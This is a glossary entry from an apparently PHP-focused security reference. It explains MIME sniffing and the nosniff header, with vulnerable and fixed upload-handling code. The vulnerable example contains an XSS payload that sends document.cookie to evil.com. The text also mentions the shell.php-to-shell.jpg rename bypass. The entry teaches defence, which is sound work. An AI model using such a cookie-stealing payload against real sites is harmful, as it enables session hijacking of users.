← Home ← Codex ← DEBT
Browse by Category
+ added · updated 7d
← Back to glossary

MIME Sniffing & X-Content-Type-Options

Security PHP 5.0+ Intermediate
debt(d3/e3/b3/t5)
d3 Detectability Operational debt — how invisible misuse is to your safety net

Closest to 'default linter catches the common case' (d3). The term's detection_hints lists owasp-zap, lighthouse, and securityheaders.com as tools that can automatically detect missing X-Content-Type-Options headers. These are readily available security scanners that catch the common case without requiring specialist expertise — a quick scan of any deployed site reveals the missing header.

e3 Effort Remediation debt — work required to fix once spotted

Closest to 'simple parameterised fix' (e3). The quick_fix states 'Add X-Content-Type-Options: nosniff to every response' which is essentially a one-liner per response or a single middleware configuration. However, common_mistakes mention needing to also serve uploads from a separate domain and use finfo for content validation, which involves touching multiple points in the codebase, pushing slightly beyond e1 into e3 territory.

b3 Burden Structural debt — long-term weight of choosing wrong

Closest to 'localised tax' (b3). This applies only to web contexts per applies_to, and primarily affects response headers and file upload handling. It's not a system-defining architectural choice, but it does impose a persistent requirement on how file uploads are served and how headers are configured. The CDN/subdomain recommendation in common_mistakes adds some infrastructural consideration but remains localised to the upload/download flow.

t5 Trap Cognitive debt — how counter-intuitive correct behaviour is

Closest to 'notable trap' (t5). The misconception explicitly states that developers believe 'Validating the file extension is sufficient' when in reality extension validation is 'trivially bypassed by renaming shell.php to shell.jpg.' This is a documented gotcha that most security-aware devs eventually learn, but the intuitive approach (check the extension) is wrong and can lead to XSS via uploaded files.

About DEBT scoring →

Also Known As

MIME sniffing X-Content-Type-Options content sniffing nosniff

TL;DR

Browsers that sniff file content to guess MIME type can execute uploaded HTML/JavaScript files as scripts — X-Content-Type-Options: nosniff prevents this.

Explanation

Legacy browsers would 'sniff' file content to determine how to render it — if a file looked like HTML, the browser would render it as HTML even if the server sent Content-Type: image/jpeg. An attacker who can upload a file containing HTML/JavaScript can trigger script execution if the browser sniffs the type. X-Content-Type-Options: nosniff tells the browser to trust the server's Content-Type header and never sniff. Always send this header for all responses, and always serve user-uploaded files with the correct content type.

Common Misconception

Validating the file extension is sufficient to prevent MIME sniffing attacks — extension validation is trivially bypassed by renaming shell.php to shell.jpg; validate content type from the actual file content and always set nosniff.

Why It Matters

An image upload feature without nosniff and content-type validation allows attackers to upload HTML files that execute as scripts in the victim's browser when viewed.

Common Mistakes

  • Not sending X-Content-Type-Options: nosniff on all responses.
  • Serving user-uploaded files from the same domain as the application — use a separate CDN or subdomain.
  • Using file extension to determine served Content-Type — check actual file magic bytes with finfo.
  • Not setting Content-Disposition: attachment for downloaded files — triggers inline rendering.

Code Examples

✗ Vulnerable
// User uploads 'image.jpg' containing HTML:
// <script>document.location='https://evil.com/?c='+document.cookie</script>

// Server serves it with wrong/no type:
header('Content-Type: image/jpeg'); // Browser sniffs content
// Legacy browser: 'this looks like HTML, I'll render it as HTML'
// Result: XSS via uploaded file
✓ Fixed
// Defense in depth:
// 1. Validate file content with finfo:
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($uploadedPath);
if (!in_array($mimeType, ['image/jpeg', 'image/png', 'image/gif'], true)) {
    throw new InvalidFileTypeException();
}

// 2. Correct content type + nosniff header:
header('Content-Type: ' . $mimeType);
header('X-Content-Type-Options: nosniff');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');

// 3. Serve uploads from separate domain: uploads.example.com

Added 16 Mar 2026
Edited 22 Mar 2026
Views 46
Rate this term
No ratings yet
🤖 AI Guestbook educational data only
| |
Last 30 days
0 pings T 1 ping W 1 ping T 0 pings F 0 pings S 0 pings S 0 pings M 0 pings T 0 pings W 0 pings T 3 pings F 0 pings S 0 pings S 1 ping M 1 ping T 0 pings W 0 pings T 3 pings F 0 pings S 0 pings S 0 pings M 0 pings T 0 pings W 0 pings T 0 pings F 0 pings S 0 pings S 0 pings M 0 pings T 0 pings W
No pings yet today
No pings yesterday
Amazonbot 9 SEMrush 5 Unknown AI 4 ChatGPT 4 Scrapy 4 Ahrefs 3 Google 2 Perplexity 2 Claude 2 Meta AI 1 Majestic 1
crawler 32 crawler_json 4 pre-tracking 1
DEV INTEL Tools & Severity
🟠 High ⚙ Fix effort: Low
⚡ Quick Fix
Add X-Content-Type-Options: nosniff to every response — it prevents browsers from guessing the content type and executing uploads as scripts
📦 Applies To
PHP 5.0+ web
🔗 Prerequisites
🔍 Detection Hints
Missing X-Content-Type-Options: nosniff header; serving user uploads without Content-Type validation
Auto-detectable: ✓ Yes owasp-zap lighthouse securityheaders.com
⚠ Related Problems
🤖 AI Agent
Confidence: High False Positives: Low ✓ Auto-fixable Fix: Low Context: Line
CWE-430


✓ schema.org compliant